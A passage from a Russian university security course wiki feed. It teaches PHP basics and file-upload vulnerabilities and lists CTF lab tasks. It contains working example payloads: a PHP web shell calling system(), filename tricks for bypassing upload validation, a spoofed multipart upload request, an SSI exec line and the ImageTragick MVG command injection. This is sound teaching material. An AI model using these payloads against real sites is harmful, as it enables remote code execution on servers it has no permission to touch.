* операторы сравнения: ==, ===, !=, !==, &amp;gt;, &amp;lt;, &amp;lt;=, &amp;gt;=&lt;br /&gt;
* and, or - логические и и или соответственно&lt;br /&gt;
==Циклы==&lt;br /&gt;
Синтаксис while: while (условие_остановки):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$i = 0;&lt;br /&gt;
while ($i &amp;lt; 10) {&lt;br /&gt;
    print($i);&lt;br /&gt;
    $i = $i + 1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Синтаксис for: for (команда,_выполняемая_до_цикла; условие_осатновки; команда,_выполняемая_в_ конце_каждой_операции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
for ($x = 0; $x &amp;lt; 10; ++$x) {&lt;br /&gt;
    print($x);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Для асоциативных массивах есть цикл foreach:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&lt;br /&gt;
    &#039;Имя&#039; =&amp;gt; &#039;Евгений&#039;,&lt;br /&gt;
    &#039;Возраст&#039; =&amp;gt; &#039;27&#039;,&lt;br /&gt;
    &#039;Род занятий&#039; =&amp;gt; &#039;Программист&#039;&lt;br /&gt;
];&lt;br /&gt;
foreach ($user as $key =&amp;gt; $value) {&lt;br /&gt;
    print($key . &#039;: &#039;);&lt;br /&gt;
    print($value . &#039;&amp;lt;br&amp;gt;&#039;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Функции==&lt;br /&gt;
Синтаксис: имя_функции(аргументы_функции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
function is_even($number) {&lt;br /&gt;
    if ($number % 2 != 0) {&lt;br /&gt;
        return false;&lt;br /&gt;
    } else {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (is_even(3)) {&lt;br /&gt;
    print(&amp;quot;3 - четное число&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;3 - нечетное число&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Подключение файлов==&lt;br /&gt;
Чтобы не писать всё в одном файле, используется команда require.&lt;br /&gt;
Содержимое файла sub.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print(&amp;quot;Привет, я содержимое из sub.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Содержимое файла index.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
require &#039;sub.php&#039;;&lt;br /&gt;
print(&amp;quot;А я - index.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После подключения sub.php, содержимого этого файла доступно в index.php. Есть также include. Отличия между require() и include() таковы, что require() возвращает FATAL ERROR, если файл не найден, include() же возвращает только WARNING.&lt;br /&gt;
&lt;br /&gt;
==Полезные константы==&lt;br /&gt;
* __DIR__ — полный путь к директории, в которой находится текущий сценарий&lt;br /&gt;
* __FILE__ — полный путь к текущему сценарию&lt;br /&gt;
* $_COOKIE — ассоциативный массив, содержащий куки&lt;br /&gt;
* $_SESSION — ассоциативный массив, содержащий информацию о сессии&lt;br /&gt;
* $_POST — ассоциативный массив, содержащий данные, полученные после POST запроса&lt;br /&gt;
* $_GET — ассоциативный массив, содержащий данные, полученные после GET запроса&lt;br /&gt;
=Примеры=&lt;br /&gt;
1. Пусть есть сайт с формой:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;feedback&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваше имя: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш email: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Сообщение: &amp;lt;textarea name=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
При получении формы сервером, данные из неё можно получить следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_POST)) {&lt;br /&gt;
    print(&amp;quot;Имя: &amp;quot; . $_POST[&#039;name&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Email: &amp;quot; . $_POST[&#039;email&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Сообщение: &amp;quot; . $_POST[&#039;message&#039;]);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
2. Другой пример - отправка формы:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;file_upload&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш аватар: &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;avatar&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить файл&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Работать с файлом ожно следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_FILES[&#039;avatar&#039;])) {&lt;br /&gt;
    $file = $_FILES[&#039;avatar&#039;];&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Загружен файл с именем &amp;quot; . $file[&#039;name&#039;] . &amp;quot; и размером &amp;quot; . $file[&#039;size&#039;] . &amp;quot; байт&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если не переместить файл в постаянную папку - файл будет удален:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$current_path = $_FILES[&#039;avatar&#039;][&#039;tmp_name&#039;];&lt;br /&gt;
$filename = $_FILES[&#039;avatar&#039;][&#039;name&#039;];&lt;br /&gt;
$new_path = dirname(__FILE__) . &#039;/&#039; . $filename;&lt;br /&gt;
&lt;br /&gt;
move_uploaded_file($current_path, $new_path);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=SQL=&lt;br /&gt;
Так же можно работать с базами данных. mysqli_connect - функция для подключения к mysql-серверу, mysqli_query - отправка sql-запроса:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$sql = &#039;INSERT INTO cities SET name = &amp;quot;Санкт-Петербург&amp;quot;&#039;;&lt;br /&gt;
$result = mysqli_query($link, $sql);&lt;br /&gt;
&lt;br /&gt;
if ($result == false) {&lt;br /&gt;
    print(&amp;quot;Произошла ошибка при выполнении запроса&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=web shell=&lt;br /&gt;
&lt;br /&gt;
Простейшим примером является загрузка файла с расширением .php на сайт, работающий на PHP (в качестве проверки можно попробовать обратиться по адресу &#039;&#039;&#039;cite.com/index.php&#039;&#039;&#039; и не получить ошибки). По умолчанию PHP-сайты работают так что пользователь обращается по URL к файлу (URL сайта, начиная с первого /, отображаются на определенную директорию на сервере, она называется &#039;&#039;&#039;web root&#039;&#039;&#039;) и, если этот файл имеет расширение php (или другое расширение из предопределенного списка расширений для PHP-файлов), то содержимое этого файла выполняется как код на PHP, вывод этого кода возвращается пользователю в ответе (кстати, так работает не только PHP, но и ASP.NET Web Forms, JSP, ASP). В результате, если пользователь может загрузить на сайт файл c расширением .php и обратиться к нему по URL (т. е. этот файл будет создан где-то внутри &#039;&#039;&#039;web root&#039;&#039;&#039;), то, если сервер специально не настроен чтобы файлы из директории для загрузок не выполнялись, PHP-код в нём будет выполнен. Соответственно, загрузив на уязвимый сайт файл &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt; с кодом &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42 * 66613;&lt;br /&gt;
&amp;lt;?php system(&#039;ls -lsa&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и, получив ссылку на него (к примеру, /uploads/5c8e82bb8ad66/attack.php), обратится по ней, то в результате этот PHP-код выполнится и в ответе сервера будет &lt;br /&gt;
произведение чисел 42 и 66613, а также список всех файлов в длинном формате (функция PHP system работает так же как одноимённая функция библиотеки Си - то есть выполняет команду shell). В итоге атакующий получает выполнение произвольного кода на сервере (RCE).&lt;br /&gt;
&lt;br /&gt;
=Обход методов защиты и атака=&lt;br /&gt;
&lt;br /&gt;
==Валидация имени файла==&lt;br /&gt;
&lt;br /&gt;
===Черный список ресширений===&lt;br /&gt;
Обходится с помощью использования двойных расширений (&amp;lt;code&amp;gt;shell.php.png&amp;lt;/code&amp;gt;) или  малоизвестный расширений (&amp;lt;code&amp;gt;.php5&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.phtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.shtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt;). Кроме того, возможна инъекция нулевого байта (&amp;lt;code&amp;gt;shell.php%00.jpg&amp;lt;/code&amp;gt;) или регистрозависимость при проверке (&amp;lt;code&amp;gt;PHp3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.aSp&amp;lt;/code&amp;gt;). &lt;br /&gt;
&lt;br /&gt;
===Белый список расширений===&lt;br /&gt;
Спасает от использования атакующим малоизвестных и регистрозависимых расширений, но все ещё обходится с помощью двойных расширений или инъекции нулевого байта. &lt;br /&gt;
&lt;br /&gt;
===Санитайзеры===&lt;br /&gt;
Оставляет большую степень свободы. Например, если санитайзер удаляет вхождения подстрок типа &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt;, то использования имени файла вида &amp;lt;code&amp;gt;shell.p&#039;&#039;&#039;.php&#039;&#039;&#039;hp&amp;lt;/code&amp;gt; позволяет после загрузки получить файл с именем &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Валидация Content-Type==&lt;br /&gt;
Обходится изменением заголовка Content-Type, например, с помощью перехватывающего прокси (burp suite). Соответсвенно, в запросе &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: easy.fu.khashaev.ru&lt;br /&gt;
Content-Length: 200&lt;br /&gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&lt;br /&gt;
------WebKitFormBoundary&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;info.php&amp;quot;&lt;br /&gt;
Content-Type: text/php&lt;br /&gt;
 &amp;lt;?php phpinfo(); ?&amp;gt;&lt;br /&gt;
------WebKitFormBoundary--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
строчка &amp;lt;code&amp;gt;Content-Type: text/php&amp;lt;/code&amp;gt; может быть заменена на строчку &amp;lt;code&amp;gt;Content-Type: image/png&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
==Прочее==&lt;br /&gt;
&#039;&#039;&#039;.htaccess&#039;&#039;&#039; - конфигурационный файл веб-сервера Apache, позволяющий управлять работой веб-сервера и настройками сайта с помощью различных параметров (директив) без изменения основного конфигурационного файла веб-сервера.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Server Side Includes&#039;&#039;&#039; - язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Имеет расширения .shtml, .stm или .shtm. Например, при загрузке и вызове &#039;&#039;&#039;file.shtml&#039;&#039;&#039;, содержащего код &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;!-- #exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующему будет выведен список файлов данной директории. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static HTML&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
При возможности загрузить на сервис статический HTML, создается HTML-страница, содержащая  вредоносный код (например, крадущего cookie), и ссылка на этот файл отправляется жертве. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Path Traversal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Атака, основанная на использовании специфически составленных имен файлов (например, &amp;lt;code&amp;gt;../config.ini&amp;lt;/code&amp;gt;), позволяющих выйти за пределы директории хранения файлов. Может привести к переписыванию исходных фалов веб-приложения, конфигурационных или системных файлов. &lt;br /&gt;
Атака возможна, если не используется функция &amp;lt;code&amp;gt;basename&amp;lt;/code&amp;gt; (возвращает последний компонент имени из указанного пути) или её аналог. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filename XSS&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Сервис уязвим к XSS, если допускается имя файла вида &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Полиглоты==&lt;br /&gt;
Полиглотами называют файлы, которые могут быть корректно распознаны как файлы разных типов. &lt;br /&gt;
Можно встраивать &lt;br /&gt;
* JavaScript в JPEG, GIF, PNG, PDF&lt;br /&gt;
* HTML в что-нибудь &lt;br /&gt;
* PHP в [https://rdot.org/forum/showthread.php?t=2780 JPEG ], [https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif GIF], [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ PNG]&lt;br /&gt;
&lt;br /&gt;
===Структура JPEG===&lt;br /&gt;
Все jpeg-файлы имеют схожую структуру. Рассмотрим в качестве примера изображение&lt;br /&gt;
&lt;br /&gt;
[[Файл:Mini.jpg|128px]]&lt;br /&gt;
 &lt;br /&gt;
В hex-редакторе оно выглядит следующим образом &lt;br /&gt;
&lt;br /&gt;
[[Файл:Hex_print.png]]&lt;br /&gt;
&lt;br /&gt;
В структуре jpeg-файлов содержатся служебные маркеры, состоящие из двух байт и всегда начинающиеся с FF.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FF D8&#039;&#039;&#039; - маркер начала jpeg-файла;&lt;br /&gt;
* &#039;&#039;&#039;FF DA&#039;&#039;&#039; - маркер начала секции Start of Scan:&lt;br /&gt;
** в двух байтах хранится длинна заголовка изображения [00 0C];&lt;br /&gt;
** заголовок изображения [03 01 00 02 11 03 11 00 3F 00];&lt;br /&gt;
** непосредственно информацию о самом изображении;&lt;br /&gt;
* &#039;&#039;&#039;FF D9&#039;&#039;&#039; - маркер конца jpeg-файла.&lt;br /&gt;
&lt;br /&gt;
=Image Magic=&lt;br /&gt;
&#039;&#039;&#039;ImageMagick&#039;&#039;&#039; — набор программ для чтения и редактирования файлов множества графических форматов, свободное и кроссплатформенное ПО. Может использоваться с языками Perl, C, C++, Python, Ruby, PHP, Node.js, Pascal, Java, Delphi, в скриптах командной оболочки или самостоятельно.&lt;br /&gt;
ImageMagick обладает широким набором возможностей (конвертация, маскирование, увеличение контрастности и т.п.) и поддерживает работу с различными типами файлов, но так же в нем находили различные уязвимости:&lt;br /&gt;
* RCE [CVE-2016-3714]&lt;br /&gt;
* SSRF [CVE-2016-3718]&lt;br /&gt;
* File deletion [CVE-2016-3715]&lt;br /&gt;
* File moving [CVE-2016-3716]&lt;br /&gt;
* Local File Read [CVE-2016-3717]&lt;br /&gt;
CVE - Common Vulnerabilities and Exposures - база данных общеизвестных уязвимостей информационной безопасности.&lt;br /&gt;
&lt;br /&gt;
Был создан сайт [https://imagetragick.com/ ImageTragick], посвященный описанию некоторых уязвимостей ImageMagic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Пример.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Допустим, что есть некоторый онлайн-сервис, позволяющих переводить файлы в разные форматы, использующий библиотеку ImageMagic. &lt;br /&gt;
Тогда, создав файл exploit.mvg с содержанием&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
push graphic-context&lt;br /&gt;
viewbox 0 0 640 480&lt;br /&gt;
fill &#039;url(https://example.com/&lt;br /&gt;
image.jpg &amp;quot; ; | ls  &amp;quot;-la)&#039;&lt;br /&gt;
pop graphic-context&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и выполнив запрос на преобразование файла, аналогичный команде &lt;br /&gt;
&amp;lt;pre&amp;gt;$ convert exploit.mvg out.png&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующий получит список всех файлов директории.&lt;br /&gt;
&lt;br /&gt;
=Стенды=&lt;br /&gt;
* http://easy.stands.prak.seclab.cs.msu.ru&lt;br /&gt;
* http://type.stands.prak.seclab.cs.msu.ru&lt;br /&gt;
&lt;br /&gt;
=Ссылки=&lt;br /&gt;
* [https://drive.google.com/file/d/1Jep20CuBfcfKAeStwnHgR0gCf-O2Wgd0/view?usp=sharing Презинтация]&lt;br /&gt;
* [https://www.php.net/ https://www.php.net/] - сайт PHP&lt;br /&gt;
* [https://htmlacademy.ru/tutorial/php https://htmlacademy.ru/tutorial/php] - учебник PHP&lt;br /&gt;
* [http://www.php.su/php/?php http://www.php.su/php/?php] - ещё один учебник&lt;br /&gt;
* [https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf Полиглоты]&lt;br /&gt;
* [https://drive.google.com/file/d/1Rz0RP5tKIWCmFDP3-_--VYu40ejWf48v/view?usp=sharing Валидация структурных типов]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=601</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=601"/>
		<updated>2021-10-07T12:19:40Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Веб */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 609&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в принимающую систему. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2021)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 12.10.2021 15:53)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 20.10.2021 20:13)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru (deadline - 20.10.2021 20:13)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 20.10.2021 20:13)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2021) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2021) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2021) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2021) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=600</id>
		<title>Веб-безопасность/Уязвимости FileUpload</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=600"/>
		<updated>2021-10-07T12:15:31Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Задания */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Загрузка файлов пользователями&#039;&#039;&#039; - довольно частая часть функциональности веб-приложения (аватарки, хостинг файлов, посылка вложений вместе с сообщениями и т. д.). Небезопасная реализация этого механизма может приводить к очень серьезным уязвимостям.&lt;br /&gt;
Загрузка файлов необходима многим сервисам, таким как файлообменники, социальные сети, онлайн-конверторы и редакторы. &lt;br /&gt;
&lt;br /&gt;
Самый простой способ реализации механизма загрузки файлов - просто создавать на файловой системе сервера файл с таким же содержимым как файл, отправленный пользователем (проще говоря, &amp;quot;класть&amp;quot; присланный пользователем файл куда-то на файловую систему сервера). После загрузки файл либо доступен пользователю по прямой ссылке (т. е. определенные URL-адреса отображаются на загруженные файлы и существует URL, обращение к которому ведет к отдаче загруженного файла), либо как то еще обрабатывается веб-приложением. Само веб-приложение во многом состоит из файлов на диске, поэтому добавление файлов на сервер может быть небезопасным, так как (в общем случае) может изменить логику работы приложения. &lt;br /&gt;
Соответственно, могут появляться следующие уязвимости: &lt;br /&gt;
* Remote Code Execution&lt;br /&gt;
* перезапись или удаление файлов&lt;br /&gt;
* Local File Read, SSRF&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Information Disclosure&lt;br /&gt;
* XSS&lt;br /&gt;
=PHP=&lt;br /&gt;
PHP (PHP: Hypertext Preprocessor) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений.&lt;br /&gt;
==Привет, мир!==&lt;br /&gt;
Простейшая программа, выводящая надпись &amp;quot;Привет, мир!&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php print(&amp;quot;Привет, мир!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Каждый скрипт должен начинаться с &amp;lt;code&amp;gt; &amp;lt;?php &amp;lt;/code&amp;gt; и желательно (но не всегда обязательно) на &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt;. Пример кода, где &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt; обязателен:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Наша первая php страница&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;&amp;lt;?php print(&amp;quot;Привет, мир&amp;quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Переменные==&lt;br /&gt;
В синтаксисе PHP имя переменной записывается латинскими символами, но первым символом всегда должен быть знак доллара $, после чего идёт имя. Не допускается начинать имя переменной с цифры, а также использовать любые значения, кроме букв алфавита и знака подчеркивания.&lt;br /&gt;
&lt;br /&gt;
Правильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$age&lt;br /&gt;
$favorite_color&lt;br /&gt;
